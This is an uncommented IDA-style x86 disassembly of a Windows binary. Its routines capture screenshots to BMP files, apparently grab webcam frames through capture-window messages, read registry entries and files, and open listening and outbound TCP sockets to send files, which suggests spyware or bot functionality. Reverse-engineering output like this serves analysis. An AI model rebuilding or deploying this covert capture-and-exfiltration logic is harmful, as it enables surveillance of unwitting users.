		mov	[ebp+var_20], edi
		jz	loc_4155F1
		push	8
		push	edi
		call	dword_4CB65C
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_4CB65C
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_4CB65C
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_41541F
		push	18h
		push	edi
		call	dword_4CB65C
		mov	ebx, 100h
		jmp	short loc_415421
; ---------------------------------------------------------------------------


loc_41541F:				; CODE XREF: sub_4153BD+50j
		xor	ebx, ebx


loc_415421:				; CODE XREF: sub_4153BD+60j
		push	edi
		call	dword_4CB6A0
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_4155D6
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_4CB698
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_4155E1
		push	eax
		push	[ebp+var_4]
		call	dword_4CB524
		cmp	eax, esi
		jz	loc_4155E1
		cmp	eax, 0FFFFFFFFh
		jz	loc_4155E1
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_4CB69C
		test	eax, eax
		jz	loc_4155E1
		cmp	ebx, esi
		jz	short loc_4154DE
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_4CB578
		mov	ebx, eax


loc_4154DE:				; CODE XREF: sub_4153BD+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		call	near ptr 2710A6Ah
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_4155C1
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		nop
		call	near ptr 2700649h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2700649h
		cmp	ebx, esi
		jz	short loc_4155A3
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2700649h


loc_4155A3:				; CODE XREF: sub_4153BD+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		call	near ptr 2700649h
		nop
		push	[ebp+arg_0]
		nop
		call	near ptr 2680920h
		push	1
		pop	esi


loc_4155C1:				; CODE XREF: sub_4153BD+1A2j
		push	[ebp+var_1C]
		call	dword_4CB5B0
		push	[ebp+var_4]
		call	dword_4CB510
		mov	edi, [ebp+var_20]


loc_4155D6:				; CODE XREF: sub_4153BD+70j
		push	edi
		call	dword_4CB510
		mov	eax, esi
		jmp	short loc_4155F3
; ---------------------------------------------------------------------------


loc_4155E1:				; CODE XREF: sub_4153BD+C7j
					; sub_4153BD+D9j ...
		push	edi
		call	dword_4CB510
		push	[ebp+var_4]
		call	dword_4CB510


loc_4155F1:				; CODE XREF: sub_4153BD+23j
		xor	eax, eax


loc_4155F3:				; CODE XREF: sub_4153BD+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4153BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155F8	proc near		; CODE XREF: sub_401ACD+7477p

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D3280
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CB5A4
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_415636
		mov	eax, esi
		jmp	loc_4157EC
; ---------------------------------------------------------------------------


loc_415636:				; CODE XREF: sub_4155F8+35j
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_415653
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CB6B0
		jmp	short loc_415655
; ---------------------------------------------------------------------------


loc_415653:				; CODE XREF: sub_4155F8+47j
		xor	eax, eax


loc_415655:				; CODE XREF: sub_4155F8+59j
		cmp	eax, ebx
		jnz	short loc_415660


loc_415659:				; CODE XREF: sub_4155F8+88j
					; sub_4155F8+BCj
		mov	ebx, esi
		jmp	loc_4157E1
; ---------------------------------------------------------------------------


loc_415660:				; CODE XREF: sub_4155F8+5Fj
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_41567D
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CB6B0


loc_41567D:				; CODE XREF: sub_4155F8+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_415659
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_4156A3
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_4CB6B0
		mov	[ebp+arg_4], eax
		jmp	short loc_4156A6
; ---------------------------------------------------------------------------


loc_4156A3:				; CODE XREF: sub_4155F8+98j
		mov	[ebp+arg_4], ebx


loc_4156A6:				; CODE XREF: sub_4155F8+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_415659
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4156CD
		push	1
		pop	ebx
		jmp	loc_4157E1
; ---------------------------------------------------------------------------


loc_4156CD:				; CODE XREF: sub_4155F8+CBj
		push	[ebp+var_4]
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4156EA
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB6B0


loc_4156EA:				; CODE XREF: sub_4155F8+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_415705
		mov	ecx, 280h


loc_415705:				; CODE XREF: sub_4155F8+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_415711
		mov	eax, 1E0h


loc_415711:				; CODE XREF: sub_4155F8+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CB5F4
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_41575B
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB6B0


loc_41575B:				; CODE XREF: sub_4155F8+153j
		push	[ebp+var_4]
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_415778
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_4CB6B0


loc_415778:				; CODE XREF: sub_4155F8+16Ej
		push	[ebp+var_4]
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_415797
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_4CB6B0


loc_415797:				; CODE XREF: sub_4155F8+18Bj
		push	[ebp+var_4]
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4157B4
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB6B0


loc_4157B4:				; CODE XREF: sub_4155F8+1AAj
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4157E1
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_4CB6B0


loc_4157E1:				; CODE XREF: sub_4155F8+63j
					; sub_4155F8+D0j ...
		push	[ebp+var_4]
		call	dword_4CB704
		mov	eax, ebx


loc_4157EC:				; CODE XREF: sub_4155F8+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4155F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4157F1	proc near		; CODE XREF: sub_401ACD+752Fp

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D3280
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CB5A4
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_41582F
		mov	eax, esi
		jmp	loc_415A2B
; ---------------------------------------------------------------------------


loc_41582F:				; CODE XREF: sub_4157F1+35j
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_41584C
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CB6B0
		jmp	short loc_41584E
; ---------------------------------------------------------------------------


loc_41584C:				; CODE XREF: sub_4157F1+47j
		xor	eax, eax


loc_41584E:				; CODE XREF: sub_4157F1+59j
		cmp	eax, ebx
		jnz	short loc_415859


loc_415852:				; CODE XREF: sub_4157F1+8Bj
					; sub_4157F1+BCj
		mov	ebx, esi
		jmp	loc_415A22
; ---------------------------------------------------------------------------


loc_415859:				; CODE XREF: sub_4157F1+5Fj
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_415879
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CB6B0


loc_415879:				; CODE XREF: sub_4157F1+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_415852
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_41589C
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_4CB6B0
		mov	[ebp+arg_4], eax
		jmp	short loc_41589F
; ---------------------------------------------------------------------------


loc_41589C:				; CODE XREF: sub_4157F1+96j
		mov	[ebp+arg_4], ebx


loc_41589F:				; CODE XREF: sub_4157F1+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_415852
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4158C6
		push	1
		pop	ebx
		jmp	loc_415A22
; ---------------------------------------------------------------------------


loc_4158C6:				; CODE XREF: sub_4157F1+CBj
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4158E3
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	dword_4CB6B0


loc_4158E3:				; CODE XREF: sub_4157F1+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_4158FE
		mov	ecx, 0A0h


loc_4158FE:				; CODE XREF: sub_4157F1+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_415908
		push	78h
		pop	eax


loc_415908:				; CODE XREF: sub_4157F1+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_41594D
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CB6B0


loc_41594D:				; CODE XREF: sub_4157F1+14Aj
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_41596A
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_4CB6B0


loc_41596A:				; CODE XREF: sub_4157F1+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4159A8
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_4CB6B0


loc_4159A8:				; CODE XREF: sub_4157F1+1A3j
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4159C3
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_4CB6B0


loc_4159C3:				; CODE XREF: sub_4157F1+1C0j
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4159DC
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_4CB6B0


loc_4159DC:				; CODE XREF: sub_4157F1+1DBj
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4159F9
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CB6B0


loc_4159F9:				; CODE XREF: sub_4157F1+1F4j
		push	[ebp+var_4]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_415A22
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_4CB6B0


loc_415A22:				; CODE XREF: sub_4157F1+63j
					; sub_4157F1+D0j ...
		push	edi
		call	dword_4CB704
		mov	eax, ebx


loc_415A2B:				; CODE XREF: sub_4157F1+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4157F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A30	proc near		; CODE XREF: sub_401ACD+25F2p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_4368EC, ebx
		mov	[ebp+var_C], 80h
		jz	loc_415BD1
		push	esi
		push	edi
		mov	eax, offset off_4368EC
		mov	esi, offset dword_4368F8
		mov	edi, offset dword_437AF0


loc_415A60:				; CODE XREF: sub_415A30+199j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_4CB6C4
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_4CB554
		test	eax, eax
		jnz	loc_415BB7
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_415B7B
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset dword_429AC4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_41B4C2
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_415BB7
		push	eax


loc_415AD9:				; CODE XREF: sub_415A30+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch
		test	eax, eax
		jz	loc_415B70
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B06
		push	[ebp+var_8]
		jmp	short loc_415AD9
; ---------------------------------------------------------------------------


loc_415B06:				; CODE XREF: sub_415A30+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B34
		lea	eax, [ebp+var_70]
		push	offset asc_437AEC ; "="
		push	eax
		call	sub_41C0F4
		push	offset asc_437AEC ; "="
		push	ebx
		call	sub_41C0F4
		add	esp, 10h
		jmp	short loc_415B37
; ---------------------------------------------------------------------------


loc_415B34:				; CODE XREF: sub_415A30+E4j
		lea	eax, [ebp+var_70]


loc_415B37:				; CODE XREF: sub_415A30+102j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AD
		add	esp, 18h


loc_415B70:				; CODE XREF: sub_415A30+B9j
		push	[ebp+var_8]
		call	sub_41B05B
		pop	ecx
		jmp	short loc_415BB7
; ---------------------------------------------------------------------------


loc_415B7B:				; CODE XREF: sub_415A30+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AD
		add	esp, 28h


loc_415BB7:				; CODE XREF: sub_415A30+60j
					; sub_415A30+A2j ...
		push	[ebp+var_4]
		call	dword_4CB630
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_415A60
		pop	edi
		pop	esi


loc_415BD1:				; CODE XREF: sub_415A30+19j
		pop	ebx
		leave
		retn
sub_415A30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415BD4	proc near		; CODE XREF: ___:00416279p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CB6D4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415C50
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB654
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CB694
		cmp	eax, esi
		jnz	short loc_415C35
		push	[ebp+arg_0]
		call	dword_4CB6D8
		test	eax, eax
		jz	short loc_415C50
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_415C35:				; CODE XREF: sub_415BD4+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB5FC
		cmp	eax, esi
		jnz	short loc_415C54
		push	edi
		call	dword_4CB6EC


loc_415C50:				; CODE XREF: sub_415BD4+1Bj
					; sub_415BD4+58j
		mov	eax, esi
		jmp	short loc_415C56
; ---------------------------------------------------------------------------


loc_415C54:				; CODE XREF: sub_415BD4+73j
		mov	eax, edi


loc_415C56:				; CODE XREF: sub_415BD4+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415BD4	endp

; ---------------------------------------------------------------------------
word_415C5A	dw 8B55h		; DATA XREF: sub_401ACD+A1Eo
		dd 11B4B8ECh, 0B9E80000h, 8B00005Eh, 56530845h,	8B6D6A57h
		dd 0BD8D59F0h, 0FFFFFE4Ch, 16AA5F3h, 0EC75FF5Eh, 1B0B089h
		dd 858D0000h, 0FFFFFE54h, 0FF42E850h, 0D88BFFFFh, 0FFFB8359h
		dd 8D527559h, 0FFEE4C85h, 7B6C68FFh, 0E8500043h, 5BDAh
		dd 3959FF33h, 7559F87Dh, 858D571Bh, 0FFFFEE4Ch,	50F475FFh
		dd 0FF6C858Dh, 5350FFFFh, 0FF3DA6E8h, 14C483FFh, 0EE4C858Dh
		dd 0E850FFFFh, 0FFFFF4D1h, 0E8F075FFh, 0FFFF572Fh, 90565959h
		dd 2DABD2E8h, 0D8086802h, 0E8530043h, 3F6Dh, 0FFF88359h
		dd 8D597559h, 0FFEE4C85h, 7B3C68FFh, 0E8500043h, 5B76h
		dd 3959FF33h, 7559F87Dh, 858D571Bh, 0FFFFEE4Ch,	50F475FFh
		dd 0FF6C858Dh, 5350FFFFh, 0FF3D42E8h, 14C483FFh, 0EE4C858Dh
		dd 0E850FFFFh, 0FFFFF46Dh, 15FF5359h, 4CB6ECh, 0E8F075FFh
		dd 0FFFF56C3h, 0E8905659h, 22DAB67h, 0E890646Ah, 227B1C4h
		dd 0BEFF33h, 56000010h,	0EE4C858Dh, 5057FFFFh, 581BE8h
		dd 0CC48300h, 0EE4C858Dh, 5657FFFFh, 15FF5350h,	4CB66Ch
		dd 387EC085h, 0EE4C858Dh, 0A068FFFFh, 500042A0h, 6123E8h
		dd 4C858D00h, 50FFFFEEh, 3CA8E8h, 0CC48300h, 1474C085h
		dd 0E890646Ah, 227B16Ch, 80E80A6Ah, 85FFFF55h, 0A37559C0h
		dd 0EE4C858Dh, 868FFFFh, 5000437Bh, 5AB1E8h, 0F87D3900h
		dd 1B755959h, 4C858D57h, 0FFFFFFEEh, 8D50F475h,	0FFFF6C85h
		dd 0E85350FFh, 0FFFF3C7Fh, 8D14C483h, 0FFEE4C85h, 0AAE850FFh
		dd 59FFFFF3h, 0EC15FF53h, 0FF004CB6h, 0E8F075h,	59FFFF56h
		dd 0A4E89057h
		db 0AAh, 2Dh, 2
; ---------------------------------------------------------------------------


loc_415E1B:				; DATA XREF: sub_401ACD+7832o
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	dword_4CB6D4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_415E69
		push	offset unk_437C6C
		jmp	loc_416022
; ---------------------------------------------------------------------------


loc_415E69:				; CODE XREF: ___:00415E5Dj
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	dword_4CB654
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	dword_4CB680
		test	eax, eax
		jz	short loc_415EA7
		push	offset unk_437C48
		jmp	loc_416022
; ---------------------------------------------------------------------------


loc_415EA7:				; CODE XREF: ___:00415E9Bj
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	dword_4CB5F8
		push	dword ptr [ebp-2Eh]
		call	dword_4CB584
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_41AFE0
		pop	ecx


loc_415ED9:				; CODE XREF: ___:00415F0Aj
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_415EEC
		push	5Fh
		pop	eax
		jmp	short loc_415EEF
; ---------------------------------------------------------------------------


loc_415EEC:				; CODE XREF: ___:00415EE5j
		movsx	eax, al


loc_415EEF:				; CODE XREF: ___:00415EEAj
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_41AFE0
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_415ED9
		push	ebx
		push	edi
		call	dword_4CB67C
		test	eax, eax
		jz	short loc_415F22
		push	offset unk_437B6C
		jmp	loc_416022
; ---------------------------------------------------------------------------


loc_415F22:				; CODE XREF: ___:00415F16j
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		nop
		call	near ptr 2710A6Ah
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_415F4C
		push	offset unk_437C28
		jmp	loc_416022
; ---------------------------------------------------------------------------


loc_415F4C:				; CODE XREF: ___:00415F40j
		push	esi
		push	eax
		nop
		call	near ptr 2750000h
		mov	[ebp+8], eax
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40AC10
		pop	ecx
		push	eax
		call	dword_4CB694
		push	eax
		call	dword_4CB650
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_437C10
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A73
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	dword_4CB63C
		test	eax, eax
		jg	short loc_415FFC
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_437BF8
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A73
		jmp	loc_416120
; ---------------------------------------------------------------------------


loc_415FFC:				; CODE XREF: ___:00415FDAj
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	dword_4CB6E8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_416035
		push	offset unk_437BD4


loc_416022:				; CODE XREF: ___:00415E64j
					; ___:00415EA2j ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_416123
; ---------------------------------------------------------------------------


loc_416035:				; CODE XREF: ___:0041601Bj
		push	edi
		call	dword_4CB6EC
		cmp	[ebp+8], esi
		jz	loc_4160E7
		mov	edi, 400h


loc_41604A:				; CODE XREF: ___:004160DEj
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_416057
		mov	[ebp-4], eax


loc_416057:				; CODE XREF: ___:00416052j
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2780000h
